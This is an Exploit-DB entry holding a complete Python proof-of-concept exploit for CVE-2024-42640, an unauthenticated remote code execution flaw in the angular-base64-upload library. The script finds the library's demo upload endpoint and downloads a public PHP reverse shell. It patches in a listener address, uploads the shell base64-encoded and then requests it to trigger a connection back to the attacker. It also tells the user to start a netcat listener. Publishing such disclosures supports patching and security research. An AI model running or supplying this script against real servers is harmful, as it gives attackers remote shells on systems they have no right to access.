Exploit-DB #52121
Description: Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2025-04-04
Author: Ravindu Wickramasinghe

Exploit:
# Exploit Title: Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE)
# Date: 10 October 2024
# Discovered by : Ravindu Wickramasinghe | rvz (@rvizx9) 
# Exploit Author: Ravindu Wickramasinghe | rvz (@rvizx9) 
# Vendor Homepage: https://www.npmjs.com/package/angular-base64-upload
# Software Link: https://github.com/adonespitogo/angular-base64-upload
# Version: prior to v0.1.21 
# Tested on: Arch Linux
# CVE : CVE-2024-42640
# Severity: Critical - 10.0 (CVSS 4.0)
# Github Link : https://github.com/rvizx/CVE-2024-42640
# Blog Post : https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html

# DISCLAIMER: 

# This proof-of-concept (POC) exploit is provided strictly for educational and research purposes. 
# It is designed to demonstrate potential vulnerabilities and assist in testing the security posture of software systems. 
# The author expressly disclaims any responsibility for the misuse of this code for malicious purposes or illegal activities. 
# Any actions taken with this code are undertaken at the sole discretion and risk of the user. 
# The author does not condone, encourage, or support any unauthorized access, intrusion, or disruption of computer systems. 
# Use of this POC exploit in any unauthorized or unethical manner is strictly prohibited. 
# By using this code, you agree to assume all responsibility and liability for your actions. 
# Furthermore, the author shall not be held liable for any damages or legal repercussions resulting from the use or misuse of this code. 
# It is your responsibility to ensure compliance with all applicable laws and regulations governing your use of this software. 
# Proceed with caution and use this code responsibly.

#!/bin/python3

import re
import subprocess
import requests
import sys
import os
import uuid
import base64


def banner():
    print('''

                \033[2mCVE-2024-42640\033[0m - Unauthenticated RCE via Anuglar-Base64-Upload Library \033[2m PoC Exploit
                \033[0mRavindu Wickramasinghe\033[2m | rvz (ラヴィズ) - twitter: @rvizx9
                https://github.com/rvizx/\033[0mCVE-2024-42640

''')


def enum(url):
    print("\033[94m[inf]:\033[0m enumerating for dependency installtion directories... ")
    target = f"{url}/bower_components/angular-base64-upload/demo/index.html"
    r = requests.head(target)
    if r.status_code == 200:
        print("\033[94m[inf]:\033[0m target is using bower_components")
    else:
        print("\033[94m[inf]:\033[0m target is not using bower_components")
        target = f"{url}/node_modules/angular-base64-upload/demo/index.html"
        r = requests.head(target)
        if r.status_code == 200:
            print("\033[94m[inf]:\033[0m target is using node_modules")
        else:
            print("\033[94m[inf]:\033[0m target is not using node_modules")
            print("\033[91m[err]:\033[0m an error occured, it was not possible to enumerate for angular-base64-upload/demo/index.html")
            print("\033[93m[ins]:\033[0m please make sure you've defined the target to the endpoint prior to the depdency installation directory")
            print("\033[93m[ins]:\033[0m for manual exploitation, please refer to this: https://www.zyenra.com/blog/unauthenticated-rce-in-angular-base64-upload.html")
            print("\033[91m[err]:\033[0m exiting..")
            exit()

    version = next((line for line in requests.get(target.replace("demo/index.html","CHANGELOG.md")).text.splitlines() if 'v0' in line), None)
    print("\033[94m[inf]:\033[0m angular-base64-upload version: ",version)
    exploit(target)





def exploit(target):
    print(f"[dbg]: {target}")
    target_server_url = target.replace("index.html","server.php")
    print(f"[dbg]: {target_server_url}")
    payload_url = "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
    print("\033[94m[inf]:\033[0m generating a php reverse shell to upload..")
    ip = input("\033[93m[ins]:\033[0m enter listener ip / domain: ")
    port = input("\033[93m[ins]:\033[0m enter listenter port: ")
    print(f"\033[93m[ins]:\033[0m start a listener, execute nc -lvnp {port}")
    input("\033[93m[ins]:\033[0m press enter to continue...")
    print("\033[94m[inf]:\033[0m downloading php-reverse-shell from github/pentestmonkey...")
    response = requests.get(payload_url)
    if response.status_code == 200:
        php_code = response.text.replace("127.0.0.1", ip).replace("1234", port) # replacing default values with user input 
        payload_name = str(uuid.uuid4())+".php" # using a uuid for payload name
        with open(payload_name, "w") as file:
            file.write(php_code)
    else:
        print("\033[91m[err]:\033[0m failed to fetch the php-reverse-shell.")
        print("\033[91m[err]:\033[0m exiting..")
        exit()
    
    with open(payload_name, 'rb') as file:
        file_content = file.read()
        base64_payload = base64.b64encode(file_content).decode('utf-8')
        
        headers = {
            'Content-Type': 'application/json',
            }
        
        json_data = {
            'base64': base64_payload,
            'filename': payload_name,
            }
        
        response = requests.post(target_server_url, headers=headers, json=json_data, verify=False)
        print("\033[94m[inf]:\033[0m file upload request sent! [status-code]: ",response.status_code)
        updemo_endpoint = f"uploads/{payload_name}"
        print(f"[dbg]: {updemo_endpoint}")
        payload_url = target_server_url.replace("server.php",updemo_endpoint)
        print(f"[dbg]: {payload_url}")
        if response.status_code == 200:
            print(f"\033[94m[inf]:\033[0m reverse-shell is uploaded to {payload_url}")
        print("\033[94m[inf]:\033[0m executing the uploaded reverse-shell..")
        r = requests.get(payload_url)